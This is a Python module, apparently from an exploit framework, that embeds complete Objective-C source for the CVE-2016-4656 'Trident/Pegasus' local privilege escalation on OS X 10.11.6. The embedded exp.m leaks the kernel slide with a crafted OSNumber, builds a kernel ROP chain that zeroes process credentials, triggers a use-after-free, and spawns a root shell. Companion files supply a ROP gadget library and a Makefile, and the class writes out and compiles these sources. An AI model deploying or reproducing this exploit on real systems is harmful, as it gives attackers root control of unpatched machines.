from exploits.exploit import MacExploit
from src.kernels import KernelWindow
from constants import *


class CVE20164656(MacExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		MacExploit.__init__(self)
		self.name = "CVE20164656"
		self.formatted_name = "CVE-2016-4656"
		self.e_type = "mac"
		self.brief_desc = "`Trident` exploit chain from `PEGASUS` APT"
		self.reliability = MEDIUM_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_MAC, BASE_VULNERABLE, 0, 0, 0, 10, 11, 16)
		self.vulnerable_kernels = [
			KernelWindow(GENERIC_MAC, VERSION_VULNERABLE, 0, 0, 0, 10, 11, 16)
		]
		self.exploit_kernels = [
			KernelWindow(GENERIC_MAC, EXPLOIT_AVAILABLE, 0, 0, 0, 10, 11, 16)
		]
		self.architecture = ARCHITECTURE_GENERIC
		self.playground_path = playground_path
		self.source_c_path = os.path.join(self.playground_path, self.name)
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.compilation_command = "clang -framework IOKit -framework Foundation -framework CoreFoundation " \
								"-m32 -Wl,-pagezero_size,0 -O3 {}/exp.m {}/lsym.m -o {}".format(
			self.playground_path,
			self.playground_path,
			self.compilation_path)
		self.exploit_command = self.compilation_path
		self.exploit_sources = {
			"exp.m": """
/* ******************************************************************************************
 
 * Local privilege escalation for OS X 10.11.6 via PEGASUS

 * by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng)

 * Note: 1. If you want to test this exp, you should not install Security Update 2016-001 
            (like iOS 9.3.5 patch for PEGASUS). 
         2. I hardcoded a kernel address to calculate the kslide, it may be different on your mac.

 * Special Thanks to proteas, qwertyoruiop, windknown, aimin pan, jingle, liangchen, qoobee, etc.
 
 * Reference: 1. http://blog.pangu.io/cve-2016-4655/
              2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html
              3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/
              4. https://github.com/kpwn/tpwn
 
  ***************************************************************************************** */

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>

#import "import.h"
#import "lsym_gadgets.h"

static uint64_t kslide=0;

#define kOSSerializeBinarySignature "\\323\\0\\0"

enum
{
    kOSSerializeDictionary   = 0x01000000U,
    kOSSerializeArray        = 0x02000000U,
    kOSSerializeSet          = 0x03000000U,
    kOSSerializeNumber       = 0x04000000U,
    kOSSerializeSymbol       = 0x08000000U,
    kOSSerializeString       = 0x09000000U,
    kOSSerializeData         = 0x0a000000U,
    kOSSerializeBoolean      = 0x0b000000U,
    kOSSerializeObject       = 0x0c000000U,
    kOSSerializeTypeMask     = 0x7F000000U,
    kOSSerializeDataMask     = 0x00FFFFFFU,
};

__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
    if (!pointer) return pointer;
    return (lsym_slidden_kern_pointer_t) pointer + kslide;
}

__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
    vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
    vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
    while(sz--) *(char*)(addr+sz)=0;
    return addr;
}


int buildropchain()
{

  printf("building the rop chain...\\n");
    
  //ropchain code from tpwn (https://github.com/kpwn/tpwn) and rootsh (https://github.com/bazad/rootsh)

  lsym_map_t* mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");

  kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));
    
  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc");
  PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred");
  PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get");
  PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
  PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)
  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");

  PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");

  vm_address_t payload_addr = 0;
  size_t size = 0x1000;
  /* In case we are re-executing, deallocate the NULL page. */
  vm_deallocate(mach_task_self(), payload_addr, size);
  
  kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, 0);
  if (kr != KERN_SUCCESS) {
    printf("error: could not allocate NULL page for payload\\n");
    return 3;
  }

  uint64_t * vtable = (uint64_t *)payload_addr;

  /* Virtual method 4 is called in the kernel with rax set to 0. */
    vtable[0] = 0;
    vtable[1] = 0;
    vtable[2] = 0;
    vtable[3] = ROP_POP_RAX(mapping_kernel);
    vtable[4] = ROP_PIVOT_RAX(mapping_kernel);
    vtable[5] = ROP_POP_RAX(mapping_kernel);
    vtable[6] = 0;
    vtable[7] = ROP_POP_RSP(mapping_kernel);
    vtable[8] = (uint64_t)stack->__rop_chain;

    return 0;

}


void getkaslr()
{

  printf("getting kslide...\\n");

  kern_return_t err,kr;
  io_iterator_t iterator;
  static mach_port_t service = 0;
  io_connect_t cnn = 0;
  io_object_t obj=0;
  io_iterator_t iter;
   mach_port_t master = 0, res;

    //<dict><key>min</key><number>0x4141414141414141</number></dict>
    uint32_t data[] = {
    0x000000d3,                         
    0x81000001,                         
    0x08000004, 0x006e696d,
    0x84000200,    //change the length of OSNumber
    0x41414141, 0x41414141
  };

  IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
  service = IOIteratorNext(iterator);


  kr = io_service_open_extended(service, mach_task_self(), 0, NDR_record, (char*)data, sizeof(data), &err, &cnn);

  if (kr!=0)
  {
    printf("Cannot create service.\\n");
    return;
  }
  
  IORegistryEntryCreateIterator(service, "IOService", kIORegistryIterateRecursively, &iter);
  io_object_t object = IOIteratorNext(iter);

  char search_str[100] = {0};

  sprintf(search_str, "pid %d", getpid());

  char buffer[0x200] = {0};

  while (object != 0)
  {
            uint32_t size = sizeof(buffer);
            if (IORegistryEntryGetProperty(object, "IOUserClientCreator", buffer, &size) == 0)
            {
                if (strstr(buffer, search_str) != NULL)
                {
                    memset(buffer,0, 0x200);
                    size=0x300;
                    //bcopy( bytes, buf, len ); in io_registry_entry_get_property_bytes()
                    //Use crafted OSNumber to leak stack information of the kernel
                    if (io_registry_entry_get_property_bytes(object, "min", buffer, &size)==0)
                    {
                    //cacluate the kslide
                    kslide = *((unsigned long long*)&buffer[56])-0xFFFFFF80003934BF; //macOS 10.11.6 (15G31) hardcode
                    printf("kslide=0x%llx\\n",kslide);
                    break;
                    }
                }
            }
            IOObjectRelease(object);            
            object = IOIteratorNext(iter);
  }
    
  if (object!=0)
    IOObjectRelease(object);
}

void expkernel()
{

  printf("exploit the kernel...\\n");

  char * data = malloc(1024);
  uint32_t bufpos = 0;
  mach_port_t master = 0, res;
  kern_return_t kr;
  
  /* create header */
  memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
  bufpos += sizeof(kOSSerializeBinarySignature);

  //<dict><string>A</string><bool>true</bool><key>B</key><data>vtable data...</data><object>1</object></dict>

  *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | 0x80000000 | 0x10; bufpos += 4; //0

  *(uint32_t *)(data+bufpos) = kOSSerializeString | 0x02; bufpos += 4;   //1 string "A"
  *(uint32_t *)(data+bufpos) = 0x00000041; bufpos += 4;
  *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 0x1; bufpos += 4;   //2 bool  "true"

  *(uint32_t *)(data+bufpos) = kOSSerializeSymbol | 0x2; bufpos += 4;   //3 symbol "B"
  *(uint32_t *)(data+bufpos) = 0x00000042; bufpos += 4;
  
  *(uint32_t *)(data+bufpos) = kOSSerializeData | 0x20; bufpos += 4;   //4  vtable
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00000000; bufpos += 4;

  *(uint32_t *)(data+bufpos) = kOSSerializeObject | 0x1; bufpos += 4; //5  Object refer to string "A"

  host_get_io_master(mach_host_self(), &master);

  kr = io_service_get_matching_services_bin(master, data, bufpos, &res); //trigger the UAF vul

  free(data);

}


int main(int argc, char * argv[])
{

  printf("*********************************************************************\\n");
  printf("Local privilege escalation for OS X 10.11.6 via PEGASUS \\n");
  printf("by Min(Spark) Zheng @ Team OverSky (twitter@SparkZheng)\\n");
  printf("*********************************************************************\\n");

  getkaslr();

  if (kslide==0)
    return -1;
 
  sleep(1);
   
  if (buildropchain()!=0)
    return -1;
  
  sleep(1);

  expkernel();

  argv[0] = "/bin/sh";
  execve(argv[0], argv, NULL);
  printf("error: could not exec shell\\n");

  return 0;

}
""",
			"import.h": """
#ifndef pwn_import_h
#define pwn_import_h


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
#include <dlfcn.h>
#include  <string.h>
#include <mach/mach_types.h>
#include <mach-o/loader.h>
#include <sys/types.h>
#include <mach-o/nlist.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#include "lsym.h"
#include "lsym_gadgets.h"

#endif
""",
            "lsym.h": """
#ifndef __pwn__lsym__
#define __pwn__lsym__

#include <stdio.h>
#include "import.h"

#define JUNK_VALUE 0x1337133713371337


typedef struct kernel_fake_stack {
    uint64_t __cnt;
    uint64_t __padding[0x499];
    uint64_t __rop_chain[0x500];
} kernel_fake_stack_t;

#define LSYM_PAYLOAD_VTABLE 1

struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);

typedef struct lsym_map {
    void* map;
    const char* path;
    size_t sz;
} lsym_map_t;

typedef enum {
    LSYM_DO_NOT_REBASE = (1 << 0)
} lsym_gadget_flags;

typedef uint64_t lsym_map_pointer_t;
typedef uint64_t lsym_kern_pointer_t;
typedef uint64_t lsym_slidden_kern_pointer_t;
typedef uint64_t lsym_offset_t;

lsym_kern_pointer_t         kext_pointer(const char* identifier);
lsym_map_t                 *lsym_map_file(const char *path);
lsym_kern_pointer_t         lsym_find_symbol(lsym_map_t *mapping, const char *name);
lsym_kern_pointer_t         lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags);
lsym_kern_pointer_t         lsym_kernel_base(lsym_map_t *mapping);
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer);
lsym_offset_t               lsym_vm_addrperm();

typedef struct kernel_exploit_vector kernel_exploit_vector_t;

#endif /* defined(__pwn__lsym__) */
""",
            "lsym.m": """
#include "lsym.h"
#import <Foundation/Foundation.h>

#include <IOKit/IOKitLib.h>

struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);


extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
#ifdef FIND_KERNEL_SLIDE
static lsym_offset_t kaslr_slide=0;
static char kaslr_slide_found   =0;
#endif

__attribute__((always_inline))
lsym_kern_pointer_t kext_pointer(const char* identifier){
    return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue];
}

__attribute__((always_inline))
lsym_map_t *lsym_map_file(const char *path) {
    int fd=open(path, O_RDONLY);
if(fd < 0) return 0;
    struct stat sb;
    fstat(fd, &sb);
    if (sb.st_size < 0x1000) {
        return 0;
    }
    void* map = mmap(NULL, sb.st_size  & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0);
    lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t));
    ret->map  = map;
    ret->path = path;
    ret->sz = sb.st_size & 0xFFFFFFFF;
    return ret;
}

__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) {
    lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size);
    if (!off) {
        puts("[-] Couldn't find a ROP gadget, aborting.");
        exit(1);
    }
    return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map));
}

__attribute__((always_inline))
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) {
    struct mach_header_64 *mh = mapping->map;
    struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT);
    return (lsym_kern_pointer_t)text->vmaddr;
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) {
    struct mach_header_64 *mh = mapping->map;
    struct symtab_command *symtab = NULL;
    struct segment_command_64 *linkedit = NULL;    
    /*
     * Check header
     */
    if (mh->magic != MH_MAGIC_64) {
        return (lsym_kern_pointer_t)NULL;
    }
    
    /*
     * Find the LINKEDIT and SYMTAB sections
     */
    linkedit = find_segment_64(mh, SEG_LINKEDIT);
    if (!linkedit) {
        return (lsym_kern_pointer_t)NULL;
    }
    
    symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB);
    if (!symtab) {
        return (lsym_kern_pointer_t)NULL;
    }
    void* symtabp = symtab->stroff + 4 + (char*)mh;
    void* symtabz = symtab->stroff + (char*)mh;
    void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA;
    uint32_t idx = 0;
    while (symtabp < symendp) {
        if(strcmp(symtabp, name) == 0) goto found;
        symtabp += strlen((char*)symtabp) + 1;
        idx++;
    }
    printf("[-] symbol %s not resolved.\\n", name); exit(0);
    return (lsym_kern_pointer_t)NULL;
found:;
    struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh);
    uint64_t strx = ((char*)symtabp - (char*)symtabz);
    unsigned int symp = 0;
    while(symp <= (symtab->nsyms)) {
        uint32_t strix = *((uint32_t*)nlp);
        if(strix == strx)
            goto found1;
        nlp ++; //sizeof(struct nlist_64);
        symp++;
    }
    printf("[-] symbol not found: %s\\n", name);
    exit(-1);
found1:
    //printf("[+] found symbol %s at 0x%016llx\\n", name, nlp->n_value);
    return (lsym_kern_pointer_t)nlp->n_value;

}

__attribute__((always_inline))
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname)
{
    struct load_command *lc;
    struct segment_command_64 *s, *fs = NULL;
    lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
    while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
        if (lc->cmd == LC_SEGMENT_64) {
            s = (struct segment_command_64 *)lc;
            if (!strcmp(s->segname, segname)) {
                fs = s;
                break;
            }
        }
        lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
    }
    return fs;
}

__attribute__((always_inline))
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name)
{
    struct section_64 *sect, *fs = NULL;
    uint32_t i = 0;
    for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64));
         i < seg->nsects;
         i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64)))
    {
        if (!strcmp(sect->sectname, name)) {
            fs = sect;
            break;
        }
    }
    return fs;
}

__attribute__((always_inline))
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd)
{
    struct load_command *lc, *flc;
    lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
    while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
        if (lc->cmd == cmd) {
            flc = (struct load_command *)lc;
            break;
        }
        lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
    }
    return flc;
}
""",
			"lsym_gadgets.h": """
#ifndef ROP_PIVOT_RAX
/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */

#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name))

/* ROP gadgets present in 10.10 */

// stack pivot
#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0)
#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0)
#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0)
#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0)

#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0)

// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts).
// how the fuck do these gadgets even exist lmao

#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget.
#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0);
#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0)
#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0)
#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0)
#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0)
#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0)
#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0)
#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0)
#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0)
#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0)
#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0)
// register control
#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0)
#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0)
#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0)
#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0)
#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0)
#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0)
#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0)
#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0)
#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0)
#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0)

// write gadgets
#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0)
#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0)

// read gadget
#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0)


// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents.

#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0);

// helpers

#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++]
#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value;
#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value;
#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE;
#endif
""",
			"Makefile": """
TARGET = exp

all: $(TARGET)

CFLAGS = ""
FRAMEWORKS = -framework IOKit -framework Foundation -framework CoreFoundation

# Note that in addition to the standard flags we also need
#
#   -m32 -Wl,-pagezero_size,0
#
# We need these flags because we are leveraging the use-after-free to generate
# a kernel NULL-pointer dereference. By mapping the NULL page in user space we
# ensure that when the kernel dereferences the NULL pointer it gets a value
# that we control. OS X does not allow 64-bit processes to map the NULL page;
# however, for legacy support, 32-bit processes can map the NULL page. In order
# to do so we generate a Mach-O executable without an initial __PAGEZERO
# segment protecting NULL. The "-m32" flag compiles the executable as 32-bit,
# while the "-Wl,-pagezero_size,0" flag causes the linker to not insert a
# __PAGEZERO segment in the final Mach-O executable.
$(TARGET): exp.m lsym.m
    clang $(CFLAGS) $(FRAMEWORKS) -m32 -Wl,-pagezero_size,0 -O3 $^ -o $@
clean:
    rm -f -- $(TARGET)
"""
		}

	# we need to override because we have multiple files we need to write for the exploit
	def write_exploit_source(self):
		color_print("\t[*] writing the exploit sources to disk ({})".format(self.source_c_path), color="blue")
		for exploit_file in self.exploit_sources.keys():
			source_c_path = os.path.join(self.playground_path, exploit_file)
			print("\t[*] writing {} to {}".format(exploit_file, source_c_path))
			try:
				with open(source_c_path, 'w') as source_file:
					source_file.write(self.exploit_sources[exploit_file])
			# we have to handle this nastily because python3 is PermissionError and python2 is IOError. PermissionError
			# doesn't exist on python2...
			except Exception as e:
				color_print("\t[!] cannot write exploit source code to destination, permission denied (does the path exist?)", color="red")
				color_print("\t[!] exiting", color="red")
				exit(0)

	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# if kernel matches...it should be vulnerable
		color_print("\t[-] system appears not to be vulnerable to {}".format(self.name), color="red")
		return True